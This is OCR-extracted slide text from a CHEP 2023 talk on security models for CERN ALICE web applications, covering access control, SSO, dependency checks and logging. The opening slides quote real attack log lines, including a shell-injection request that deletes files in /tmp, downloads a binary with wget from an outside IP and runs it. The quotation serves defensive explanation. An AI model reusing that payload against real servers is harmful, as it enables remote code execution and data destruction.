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A Large lon Collider Experiment

Servers are under constant attacks ALICE

Regular heavy targeted attacks on ALICE
e.g 4th of Oct 2022

shell/cd+/tmp; rme-ri+¥* ;wget+1ss. Jaws ; sh+/tmp/jaws HIIF
"GET /shell?cd+/tmp;rm+-rf+*;wget+185. /Jaws ; sh+/tmp/jaws HTTP/l 1
"GET /shell?cd+/tmp;rm+-rf+*;wget+185. /Jaws ; sh+/tmp/jaws HTTP/1.1

"GET /shell?cad+/tmp;rm+-rf+¥*;wget+185. /Jaws ; sh+/tmp/jaws HTTP/1.1
"GET /shell?ca+/tmp;rm+-rf+*;wget+185. /jaws ; sh+/tmp/jaws HTTP/1.1
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A Large lon Collider Experiment

Servers are under constant attacks

Regular heavy targeted attacks on ALICE
e.g 4th of Oct 2022

shell/cd+/tmp; rme-ri+¥* ;wget+1ss. Jjaws ; sh+/tmp/jaws HITP/1.
"GET /shell?ca+/tmp;rm+-rf+*;wget+185. /Jaws ;sh+/tmp/jaws HTTP/1.1
"GET /shell?ca+/tmp;rm+-rf+*;wget+185. /Jaws ;sh+/tmp/jaws HTTP/1.1
"GET /shell?cd+/tmp;rm+-rf+*;wget+185. /jaws :sh+/tmp/jaws HTTP/1.1'| = PYierreuests/aae
"GET /shell?ca+/tmp;rm+-rf+*;wget+185. /Jaws ; sh+/tmp/jaws HTTP/l.l'tf”W“Wme@“”?i&T

' 404 351 "http://188.WwWW,

"GET /auth/resources/dvtjp/common/keycloak/lib/pficon/pficon.css HTTP/1.1" 404 351 "http://188.WwWW.ABC,
"GET /robots.txt HTTP/1.1" 404 351 "http://188.WWW.ABC.XYZ/robots.txt" "Mozilla/5.0 (X11; Linux x86_64
"GET /.well-known/security.txt HTTP/1.1" 404 351 "http://188.WWW.ABC.XYZ/.well-known/security.txt"
"GET /robots.txt HTTP/1.1" 404 351 "-" "Mozilla/5.0 (compatible; Googlebot/2.1l; +http://www.google.com
"GET / HTTP/1.1" 302 634 "-" "Mozilla/5.0@ (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/53
"\x03\x00\x00/x\xE0\x00\ x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-"
"GET /actuator/health HTTP/1.1" 404 351 "-" "Mozilla/5.@ zgrab/@.x"
"GET / HTTP/1.1" 302 293 "-" "libwww-perl/6.05"
"MGLNDD_188.wWwWW.ABC.XYZ_ 443" 400 157 "-" "-"

Da||y non_targeted attacks "POST /boaform/admin/formLogin HTTP/1.1" 400 255 "http://188.WWW.ABC.XYZ:443/admin/login.asp" "Mozilla
"GET / HTTP/1.1" 302 293 "-" "Mozilla/5.0@"
"GET /owa/auth/logon.aspx?url=https%3a%2%2fl%s2fecp%s2f HTTP/1.1" 404 351 "-" "Mozilla/5.@ zgrab/0.x"
"{\x22id\x22: 1, \x22method\x22: \x22mining.subscribe\x22, \x22params\x22: [\x22cpuminer/2.5.1\x22]}" 4
"{\x22id\x22: 1, \x22method\x22: \x22mining.subscribe\x22, \x22params\x22: [\x22MinerName/1.0.0\x22, \

"{\x22id\x22:1,\x22method\x22:\x22eth_submitlLogin\x22,\x22worker\x22:\x22ethl.0\x22,\x22params\x22: [\ x4
"GET /download/file.ext HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/5
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ALICE Experiment ALICE

PEEREIAW. Y A YL . &

- ™D, 174 institutes®
41 countries”

~2100 collaborators™®

*As of 20th of April 2023
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ALICE Experiment ALICE

L4
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Online-Offline Computing System*
*CHEP 2023 talk, V Barroso, The new ALICE Data Acquisition System
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A Large lon Collider Experiment

ALICE

How? What?
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A Large lon Collider Experiment

Logbook GUI*

Bookkeeping

Fill No. 8580

Stable beams start: 13/04/2023, 04:31:35

Beam Type: PROTON - PROTON

Statistics PHYSICS Al

Fill Efficiency: 54.70%

Mean run duration: 00:43:15

Runs
Total: 7

Per quality

bad: 4 good: 3

Run Detectors Tags
534450 13 HMPMCHMID,TPC,CPV,... -
534452 13 HMP,MCH,MID,TPC,CPV,... -
534453 13 HMP,MCH,MID,TPC,CPV,... -
534454 12 HMP,MCH,MID,TPCCPV.... -
534468 13 HMP,MCH,MID,TPC,CPV,... -
534469 13 HMP,MCH,MID,TPC,CPV,... -

534470 13 HMP,MCH,MID,TPC,CPV,... -

George RADUTA

Fill No.

8580

8580

8580

8580

8580

8580

8580

Stable beams end:

Home

Log Entries

Environments

13/04/2023, 08:28:48

Scheme name: Single_12b_8_8_8

Before 1st run:

Total runs duration:

Over 2 minutes:

Per detectors

HMP: 7 (54.70%) MCH:7 (54.70%) MID:7 (54.70%) TPC:7 (54.70%) CPV:7(54.70%) EMC:7 (54.70%)
PHS: 6 (7.00%) FVO0:7 (54.70%) FTO:7 (54.70%)

LHC
Period

LHC23b

LHC23b

LHC23b

LHC23b

LHC23b

LHC23b

LHC23b

Start

13/04/2023
04:41:28

13/04/2023
04:55:42

13/04/2023
05:05:21

13/04/2023
05:19:54

13/04/2023
07:43:01

13/04/2023
08:02:40

13/04/2023
08:14:21

6

Stop

13/04/2023
04:42:51

13/04/2023
04:59:02

13/04/2023
05:11:37

13/04/2023
07:13:03

13/04/2023
07:53:21

13/04/2023
08:05:50

13/04/2023
08:17:59

02:09:45

00:33:46 (14.23%)

Since prev.

00:12:51

00:06:19

00:08:17

00:29:58

00:09:19

00:08:31

Security Models for ALICE Web-Based Applications | CHEP 2023

LHC Fills

Runs

Overview About

FDD: 7 (54.70%)
Trg Va... Definit...
CTP PHYSICS
CTP PHYSICS
CTP PHYSICS
CTP PHYSICS
CTP PHYSICS
CTP PHYSICS
CTP PHYSICS

Duration

00:01:23

00:03:20

00:06:16

01:563:09

00:10:20

00:03:10

00:03:38

Beams Duration:

Total time between runs:

Under 2 minutes:

Environment ID

2eedn3tWdjP

2eeeEt3rnAV

2eeepDcz6Uy

2eefVCDNzFB

2eemz8PpFGm

2eent96Jrty

2ee0SqaG9K7

03:57:13

Quality

bad

bad

good

good

good

bad

bad

After last run: 00:35:27 (14.94%)

01:15:15

ITS: 7 (54.70%) TOF:7 (54.70%) TRD:7 (54.70%)

EPN: FLPs Dat: DCS EPN Topology Full

99

99

99

94

On

On

On

On

On

On

On

On

On

On

On

On

On

On

On

On

On

On

On

On

On

(hash, default, production/prod...

(hash, default, production/prod...

(hash, default, production/prod...

(hash, default, production/prod...

(hash, default, production/prod...

(hash, default, production/prod...

(hash, default, production/prod...

ALICE

Helps users keep track of data
taking configurations,
conditions and operational
iInterventions at the
experimental area.

*CHEP 2023 poster, G Raduta, Bookkeeping, a new logbook system for ALICE
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A Large lon Collider Experiment

Logging GUI

Allows users to follow live
feedback from the system
and investigate if necessary.

George RADUTA

ALICE

S m Live » Clear <« 2| + Download Debug \ Info I Warn [ Error l Fatal ] Ops Support Devel Trace 50k =~ 100k 1M Reset filters
Date { Time ] v ( Hostname Rolename PID Username [ System 1 [ Facility W [ Detector W [ Partition 1 ( Run W ErrCode ErrLine ErrSource [ Message
from match
to exclude
Infologger-gui ol I AR il A IR I s X
) E 3 |02:14:04.380 alio2-cr1-gme06 DPL PHS-ClusterTask-proxy | PHS 208mMwBfD4u 527357 device state change is requested, dropping 2 pending message(s) -
R "1.11.6% E 3 |02:14:04.380 alio2-cr1-gme06 PHS-ClusterTask-proxy 2b8mMwBfD4u 527357 ATTENTION: DATA IS LOST! Could not dispatch data to downstream consumer(s), check if Level 3
hostname  "ali-infologger.cern.ch" E 3 |02:114:04.380 alio2-cr1-gme06 DPL PHS-ClusterTask-proxy | PHS 208mMwBfD4u 527357 consumers have been terminated too early Date 15/10/2022
E 3 [02:14:04.381 alioZ-cr1-gc01 DPL MCH-MCHTracks-pr... | MCH 2b8mMwBfD4u 527357 consumers have been terminated too early
port 8081 3 3 |02:14:04.381 alio2-cr1-qco1 DPL MCH-MCHTracks-pr... |MCH 208mMwBfD4u 527357 | on channel from_MCH-MCHTracks-proxy_to_MCH-MERGER-MCHTracks1l-0 Time 02:14:04
E 3 [02:14:04.381 alioZ-cr1-gc01 DPL MCH-MCHTracks-pr... |MCH 2b8mMwBfD4u 527357 device state change is requested, dropping 2 pending message(s) Hostname alio2-cr1-gme06
E 3 |02:14:04.381 alio2-cr1-gc01 DPL MCH-MCHTracks-pr... | MCH 208mMwBfD4u 527357 ATTENTION: DATA IS LOST! Could not dispatch data to downstream consumer(s), check if
InfoLoggerServer 3 3 |0214:04383 alio2-crl-gme02 DPL MID-QcTaskMIDTrack... | MID 208mMwBfDAU 527357 | ATTENTION: DATA IS LOST! Could not dispatch data to downstream consumer(s), check if Rolename alio2-cr1-qme06
E 3 [02:14:04.383 alioZ-cr1-gme02 DPL MID-QcTaskMIDTrack... | MID 208mMwBfD4u 527357 on channel from_MID-QcTaskMIDTracks-proxy_to_MID-MERGER-QcTaskMIDTracks1l-0 PID 2265613
host "alio2-cr1-db01.cern.ch" E 3 [02:14:04.383 alioZ-cr1-gme02 DPL MID-QcTaskMIDTrack... | MID 2b8mMwBfD4u 527357 consumers have been terminated too early U
E 3 |02:14:04.383 alio2-cr1-gme02 DPL MID-QcTaskMIDTrack... | MID 208mMwBfD4u 527357 device state change is requested, dropping 2 pending message(s) sername qc
port 6102 E 3 [02:14:04.392 alioZ-cr1-gme02 DPL MID-QcTaskMIDTrack... | MID 208mMwBfD4u 527357 ATTENTION: DATA IS LOST! Could not dispatch data to downstream consumer(s), check if System DPL
E 3 |02:114:04.392 alioZ2-cr1-gme02 DPL MID-QcTaskMIDTrack... | MID 2b8mMwBfD4u 527357 device state change is requested, dropping 2 pending message(s) Facility PHS-ClusterTask-proxy
Myﬂ.l E 3 |02:14:04.392 alioZ-cr1-gme02 DPL MID-QcTaskMIDTrack... | MID 2b8mMwBfD4u 527357 on channel from_MID-QcTaskMIDTracks-proxy_to_MID-MERGER-QcTaskMIDTracks1l-0 |
3 3 |0214:04392 alio2-crl-gme02 DPL MID-QcTaskMIDTrack... | MID 208mMwBfDAU 527357 | consumers have been terminated too early — Detector PHS
host "alio2-cr1-db01.cern.ch" E 3 [02:14:04.396 alicZ-cr1-gc01 DPL GLO-MCHStdTracks-... | MCH 2b8mMwBfD4u 527357 device state change is requested, dropping 2 pending message(s) " Partition 2b8mMwBfD4u
E 3 [02:14:04.396 alioZ-cr1-gc01 DPL GLO-MCHStdTracks-... | MCH 2b8mMwBfD4u 527357 ATTENTION: DATA IS LOST! Could not dispatch data to downstream consumer(s), check if — Run 527357
port 3306 E 3 |02:14:04.396 alio2-cr1-gc01 DPL GLO-MCHStdTracks-... | MCH 208mMwBfD4u 527357 on channel from_GLO-MCHStdTracks-proxy_to_GLO-MERGER-MCHStdTracks1l-0 =
E 3 [02:114:04.396 alio2-cr1-gc0l DPL GLO-MCHStdTracks-... | MCH 208mMwBfD4u 527357 consumers have been terminated too early || ErrCode
database "INFOLOGGER" E 3 [02:14:04.398 alio2-cr1-gc01 DPL GLO-MUONTracks-pr... | MCH 208mMwBfD4u 527357 consumers have been terminated toco early = ErrLine 95
E 3 |02:14:04.398 alio2-cr1-gc01 DPL GLO-MUONTracks-pr... | MCH 208mMwBfD4u 527357 on channel from_GLO-MUONTracks-proxy_to_GLO-MERGER-MUONTracks1l-0 -
3 3 |0214:04398 alio2-cr1-gco1 DPL GLO-MUONTracks-pr... | MCH 208mMwBfDAU 527357 | device state change is requested, dropping 2 pending message(s) ErrSource ExternalFairMQDeviceProxy.cxx
E 3 [02:14:04.398 alicZ-cr1-gc01 DPL GLO-MUONTracks-pr... | MCH 2b8mMwBfD4u 527357 ATTENTION: DATA IS LOST! Could not dispatch data to downstream consumer(s), check if -
E 3 |02:14:04.400 alio2-cr1-gc02 DPL EMC-RawTask-proxy  |EMC 208mMwBfD4u 527357 consumers have been terminated too early ~ ATTENTION: DATA IS LOST! Could not dispatch data
E 3 |02:14:04.400 alio2-cr1-gc02 DPL EMC-RawTask-proxy | EMC 208mMwBfD4u 527357 device state change is requested, dropping 2 pending message(s) to downstream consumer(s), check if
E 3 |02:114:04.400 alioZ-cr1-gc02 DPL EMC-RawTask-proxy EMC 208mMwBfD4u 527357 ATTENTION: DATA IS LOST! Could not dispatch data to downstream consumer(s), check if
E 3 |02:14:04.400 alic2-cr1-gc02 DPL EMC-RawTask-proxy EMC 208mMwBfD4u 527357 on channel from_EMC-RawTask-proxy_to_EMC-MERGER-RawTaskl1l-0
1 6 |02:14:04402 alicZ-cr1-gme05 QcC check/MFT-MFTDigit... |MFT 2b8mMwBfD4u 527357 Sending 2 quality objects
1 10 | 02:14:04.402 alio2-cr1-gme05 Qc check/MFT-MFTDigit... [MFT 208mMwBfD4u 527357 CONTROL_ACTION: NOTIFY_STREAMING_STATE EOS
I 10 | 02:14:04 402 alicZ-cr1-gme05 Qc check/MFT-MFTDigit... |MFT 2b8mMwBfD4u 527357 Sending end-of-stream message to channel from_gc-check-MFT-MFTDigitCheck_to_internal-dpl-injected-du... |
1 10 | 02:14:04.402 alio2-cr1-gme05 QcC check/MFT-MFTDigit... [MFT 208mMwBfD4u 527357 CONTROL_ACTION: NOTIFY_STREAMING_STATE IDLE
I 6 |02:14:04402 alio2-cr1-gme05 Qc check/MFT-MFTDigit... |MFT 208mMwBfD4u 527357 Stopping run 527357
1 8 |02:114:04402 alio2-cr1-gme05 QcC check/MFT-MFTDigit... [MFT 208mMwBfD4u 527357 RUNNING ---> READY
1 10 | 02:14:04.402 alio2-cr1-gme05 QcC check/MFT-MFTDigit... [MFT 208mMwBfD4u 527357 CONTROL_ACTION: NOTIFY_DEVICE_STATE READY
I 10 | 02:14:04 403 alicZ-cr1-gme05 Qc check/MFT-MFTDigit... |MFT 2b8mMwBfD4u 527357 [OCC] Transition response: READY ok: 1 E
I 10 |02:14:04.403 alio2-cr1-gme05 QC check/MFT-MFTDigit... |MFT 208mMwBfD4u 527357 [OCC] Serialized JsonMessage: {"trigger':0,"state":"READY","transitionEvent™:"STOP","ok":true}

Security Models for ALICE Web-Based Applications | CHEP 2023
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QualityControl GUI

S Online »

S Online »

Objects (18870 items)

ALICE

Search

EXPLORE [« c_ROCs_Noise_1D

I .
B, Layouts [sl ¢_ROCs_Noise_2D

[} Objects

MY LAYOUTS <+

[s! c_ROCs_Pedestals_1D
[s c_ROCs_Pedestals_2D
[s! c_ROCs_Pedestal_1D
|, EMCAL_Digit_Shifter_... sl ¢ ROCs._Pedestal_2D
¥, Pilot_Beam_2021 sl ¢_ROCs_Qtot_1D
[s! c_ROCs_Qtot_2D
[sl c_ROCs_TO_1D

[l c_ROCs_T0_2D

[s! c_ROCs_Width_1D
[=1 c_ROCs_Width_2D

|=l c_Sides_Noise

[sl c_Sides_Pedestal 1000

[s! c_Sides_Pedestals

[s c_Sides_Qtot

= About

Pedestals (C-Side ?:

_—~ b
g u 110
~= 200— 200
~ F 100
r 90
100[— 100 0
C 70
o~ 0 50
r 50
-100/— -100 40
C 30
C 20
-200f— -200
r 10
al o
Pedestals (A-Side) Pedestals (C-Side)
h_Aside_1D_Pedestals
- ntries. 62080 -
- Mean 7715 -
6000 o ax 6000
50000 5000—
4000— 4000/
3000/— 3000
2000F— 2000
C 1000f—
c E ] 1 1 1 I L 1 I 1 1 1 I 1 1 1 1 c C 1 I 1 1 1 I L 1 1 1 1 1 1 1 1 1
0 20 40 60 80 100 120 0 20 40 60 80 100 120

10/01/2022, 16:18:29 (1641827909705 v

44« Collapse Sidebar 18870 items

ITS TPC TOF FIT MCH MFT MID EMC PHS CPV HMP Pilot_Beam_2021 =, n

EXPLORE
|, Layouts
[=! Objects
MY LAYOUTS

|, EMCAL_Digit_Shifter_...

B, Pilot_Beam_2021

George RADUTA

Digit Map in M2 Digit Map in M3 Digit Map in M4

qc/TPC/MQ/PadCalibration/c_Sides_Pedestal

40 60 80

130 pad

!
80

130 pad

40 60 80

Pedestal value distribution M2

M2

150 200 250 300 350 400

ntries
Mean
Std Dev

PedestalValuel
ri

7676
204.6
36.45

Pedestal vale

Pedestal value distribution M3

PedestalValueM3

50

150 200 250 300 350 400

n 7680 |
Mean 2026
Std Dev 29.30

P: gstal vg%%

Pedestal value distribution M4

PedestalValueM4

50 100 150 200 250 300 350

niries 7491 |

Mean 209.1
Std Dev 30.19

Pg gstal vgl(t’lg

Provides an easy way for viewing ROOT objects
from O2 Quality Control® stored with CCDB-=.

TCHEP 2023 talk, P Konopka, The ALICE Data Quality Control
2CHEP 2023 talk, C Grigoras, Calibration and Conditions Database for ALICE Run 3
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ALICE Experiment Control System GUI ALICE

™) 2e07BSbb5N1 - RUNNING - 534921 Running since: 20/04/2023, 16:20:20
InfoLogger FLP InfoLogger EPN
100 GB/s ik
50 GB/s .
| New Environment
oess 16:21:00 16:22:00 16:23:00 16:24:00 16:25:00 16:26:00 16:27:.00 16:28:00 16:29:00 16:30:00 16:31:00 16:32:00 16:33:00 16:34:00 16:35:00 16:36:00 16:37:.00 16:38:00 16:39:00 16:40:00 16:41:00 16:42:00 16:43:00 16:44:00 16:45:00 16:46:00 16:47.00 16:48:00 ~
= Readout = StfBuilder == StfSender == TfBuilder == CTF Writer Detector View: GLOBAL #
FLP EPN Select Template Detectors Selection
Readout StfBuilder StfSender TfBuilder DPL in CTF Writer L
psitory a
113 6B/ 113 B/ 113 ¢B/ 113 cs/ 113 6B/ 18.1 e/ o oo eeCaneendows T
S S S S S o S Bion: =
suite-v0.94.0 =
@ Run Number General Information Components low: a
ENV Created: 20/04/2023, 16:16:37  FLPs: 176 .
State: RUNNING  Detectors:CPV EMC FDD FTO FVO HMP ITS MFT MID PHS TOF TPC ZDC -server-workflow 2 a
Run Type: SYNTHETIC  DCS: OFF .
RUN Started: 20/04/2023, 16:20:20  Data Distribution (FLP): ON -adout-dataflow 1 a
RUN Ended: - EPNs: 67 r
Template: readout-dataflow  TRG: OFF &
Global: - CTP Readout: OFF
oDC: RUNNING a
Tasks Summary a
ALL # hosts: 187  FLP #hosts: 176  QC Nodes # hosts: 11 a
Tasks by state: Tasks by state: Tasks by state:
RUNNING 2385/2385 RUNNING 2161/2161 RUNNING 224/224 &
Tasks by status: Tasks by status: Tasks by status:
ACTIVE 2385/2385 ACTIVE 2161/2161 ACTIVE 224/224 &
FLP Tasks by Detector(s) Summary &
CcPV #hosts: 1 EMC #hosts: 2  FDD #hosts: 1 FTO #hosts: 1 FVO #hosts: 1 HMP # hosts: 2 a
Tasks by state: Tasks by state: Tasks by state: Tasks by state: Tasks by state: Tasks by state:
RUNNING 5/5 RUNNING 10110 RUNNING 1414 RUNNING 1414 RUNNING 1414 RUNNING 2222 =
Tasks by status: Tasks by status: Tasks by status: Tasks by status: Tasks by status: Tasks by status: a
ACTIVE 5/5 ACTIVE 10110 ACTIVE 1414 ACTIVE 1414 ACTIVE 1414 ACTIVE 22/22
# hosts: 13 # hosts: 5 # hosts: 1 # hosts: 2 # hosts: 2 # hosts: 144
ITS MFT Mib PHS TOF TeC General Configuration Advanced Configuration 'l
Tasks by state: Tasks by state: Tasks by state: Tasks by state: Tasks by state: Tasks by state:
RUNNING 1951195 RUNNING 80/80 RUNNING 5/5 RUNNING 10410 RUNNING 52/52 RUNNING 1728/1728 (\. Resdoat URI
eadou : - v
Tasks by status: Tasks by status: Tasks by status: Tasks by status: Tasks by status: Tasks by status:
ACTIVE 195/195 ACTIVE 80/80 ACTIVE 5/5 ACTIVE 10110 ACTIVE 52/52 ACTIVE 17281728 QC URI: - v
Distribution (FLP) @
Add single pair:
EPN (’
key value 4 -+
QC node workflows @ Add a JSON with multiple pairs:
: e.qg. +
TRG @ {
"key1": "valuel”,
"key2": "value2"
Provides an intuitive way of controlling the ALICE data acquisition. “ }
Run Type PHYSICS A
CTP Readout
Load from existing configurations:
Save As

N I EEEE——————
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ALICE

How can we defend?
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ALICE WebUI Framework ALICE
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ALICE WebUI Framework

Designed to:
e Ensure a common experience across all ALICE ONLINE Uls
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ALICE WebUI Framework ALICE

Designed to:
e Ensure a common experience across all ALICE ONLINE Uls

New Environment Objects (26398 items)

tector View: GLOBAL #
Name

MENTS De
wqc
Active

%, Layouts

» CPV
» DAQ
p DET
» EMC
» FDD
p FOC
» FTO
p FVO
» GLO
» HMP
» ITS

» MCH
p MFT
» MID
p PHS
» TOF

alio2-cr1-hv-gw01.cern.ch:/opt/git/ControlWorkflows v |sl Objects

Revision: A+
u,, Pilot_Beam_2021

&, Pilot_Beam_2022

readout-dataflow

P P P P P P P P P P P P P P P P
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A Large lon Collider Experiment

ALICE WebUI Framework ALICE

Designed to:
e Ensure a common experience across all ALICE ONLINE Uls

New Environment ° Objects (26398 items)

Name

Select Template Detectors Selection
o, Layouts c
Repository:
. ; ) p CPV
li wO01.cern.ch:/opt/git/ControlWorkflows v C |s! Objects
ision :

: » DAQ
flp-suite-v0.94.0 ‘ p DET
£ Links Workflow: ‘ ¥, Pilot_Beam_2021
» EMC
) FDD
) FOC
) FTO
» FVO
» GLO
» HMP
p ITS
» MCH
p MFT
» MID
) PHS
) TOF

,, Pilot_Beam_2022

& Locks

e Ease and ensure a secure development of all the tools by providing:
e EXxpressdS server with in-place security protocols.
 Core services, controllers and building blocks to safely interact with experiment components.

 Tackle OWASP (Open Web Application Security Project) issues.

George RADUTA Security Models for ALICE Web-Based Applications | CHEP 2023 12
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Software and data integrity*

*https.//owasp.org/Top10/A08 20271-Software and Data Integrity Failures/

George RADUTA Security Models for ALICE Web-Based Applications | CHEP 2023 13


https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/

A Large lon Collider Experiment

Software and data integrity*

@aliceo2/web-ui is an in-house developed and maintained library which means:
- as few 31 party dependencies as possible
- from scratch implemented modules to use with CERN services

*https.//owasp.org/Top10/A08 20271-Software and Data Integrity Failures/
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Y cdk

-house developed and maintained library which means

-Uul IS an in

- from scratch implemented modules to use with CERN services

- as few 31 party dependencies as possible

@aliceo2/web

Software and data integrity*

*https.//owasp.org/Top10/A08 20271-Software and Data Integrity Failures/
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ALICE

Software and data integrity*

-house developed and maintained library which means

-Uul IS an in

@aliceo2/web

- as few 31 party dependencies as possible

- from scratch implemented modules to use with CERN services
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Corrupted version of open-source module

‘color’ with
- >20 millions downloads weekly

- >19.000 projects relying on it
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Vulnerable and outdated components*

For @aliceo2/web-ui, we ensure up to date dependencies

*https://owasp.org/Top10/A06 202171-Vulnerable and Outdated Components/
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Vulnerable and outdated components*

For @aliceo2/web-ui, we ensure up to date dependencies
©

a0
(J

GitHub Actions

Dependencies checks

*https://owasp.org/Top10/A06 202171-Vulnerable and Outdated Components/
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Vulnerable and outdated components*® AL TGE
For @aliceo2/web-ui, we ensure up to date dependencies
©

GitHub Actions

Dependencies checks

Automated Tested
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Vulnerable and outdated components* ALICE

For @aliceo2/web-ui, we ensure up to date dependencies
©

Qa0
®

GitHub Actions

Dependencies checks

&

Automatically
packed

Automated Tested

v/
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Vulnerable and outdated components* ALICE

For @aliceo2/web-ui, we ensure up to date dependencies
©

Qa0
®

GitHub Actions

Dependencies checks

~
S

K1

&

Automatically
packed

Automated Tested

v/
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Vulnerable and outdated components* ALICE

For @aliceo2/web-ui, we ensure up to date dependencies
©

Qa0
®

Weekly Triggered GitHub Actions

Dependencies checks

~
S

K1

&

Automatically
packed

Automated Tested

v/
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Identification and authentication®

@aliceo2/web-ui provides single sign-on authentication using CERN OpenlD and CERN Group Applications

*https.//owasp.org/Top10/A07 2021-Identification and Authentication Failures/
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Ildentification and authentication® ALICE

@aliceo2/web-ui provides single sign-on authentication using CERN OpenlD and CERN Group Applications

OpenlD’ CERN Sign-On

Server Server

*https.//owasp.org/Top10/A07 2021-Identification and Authentication Failures/
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Ildentification and authentication® ALICE

@aliceo2/web-ui provides single sign-on authentication using CERN OpenlD and CERN Group Applications

OpenlD’ CERN Sign-On

Client
- ‘m\>

Server Server

*https.//owasp.org/Top10/A07 2021-Identification and Authentication Failures/
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Ildentification and authentication® ALICE

@aliceo2/web-ui provides single sign-on authentication using CERN OpenlD and CERN Group Applications

OpenlD’ CERN Sign-On

Client
- ‘m\>

*https.//owasp.org/Top10/A07 2021-Identification and Authentication Failures/

Server Server
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Access Control*

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

*https.//owasp.org/Top10/A01 20271-Broken Access Control/
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Access Control*

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Web Server

*https.//owasp.org/Top10/A01 20271-Broken Access Control/
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Access Control*

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Hi, | am user Alice
May | get Run 5123457

Web Server

*https.//owasp.org/Top10/A01 20271-Broken Access Control/
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Access Control* ALICE

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Hi, | am user Alice CERN

May / get Run 5123457 Application

Portal

Roles for Alice, please
—————

Web Server

*https.//owasp.org/Top10/A01 20271-Broken Access Control/
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Access Control* ALICE

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Hi, | am user Alice CERN
May | get Run 5123457 Application

Portal

Roles for Alice, please
—
—

Alice is admin

Web Server

*https.//owasp.org/Top10/A01 20271-Broken Access Control/

George RADUTA Security Models for ALICE Web-Based Applications | CHEP 2023 10


https://owasp.org/Top10/A01_2021-Broken_Access_Control/

A Large lon Collider Experiment

Access Control* ALICE

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Hi, | am user Alice CERN
May | get Run 5123457 Application

Portal

Roles for Alice, please
—
—

Alice is admin

There you go,
Run 512345

Web Server

*https.//owasp.org/Top10/A01 20271-Broken Access Control/
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Access Control*

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Web Server
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Access Control*

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Guests

Web Server
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Access Control*

@aliceo2/web-ui server ensures users are not exceeding their allowed operations

Admins

Hi, | am user Bob
May | update Run 512345

Guests

Web Server
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Access Control* ALICE

@aliceo2/web-ui server ensures users are not exceeding their allowed operations
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Logging and Monitoring ALTGE

- InfoLogger, an in-house developed tool for tracking high-value transactions
- ELK (Elastic, Logstash, Kibana) stack for system logs
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Security misconfiguration®

Following industry standards, our tools are deployed via automated pipelines with customised configurations
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Scenario - ALICE Experiment Control System GUI

“I would like to use detector TST to start a run”
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“I would like to use detector TST to start a run”
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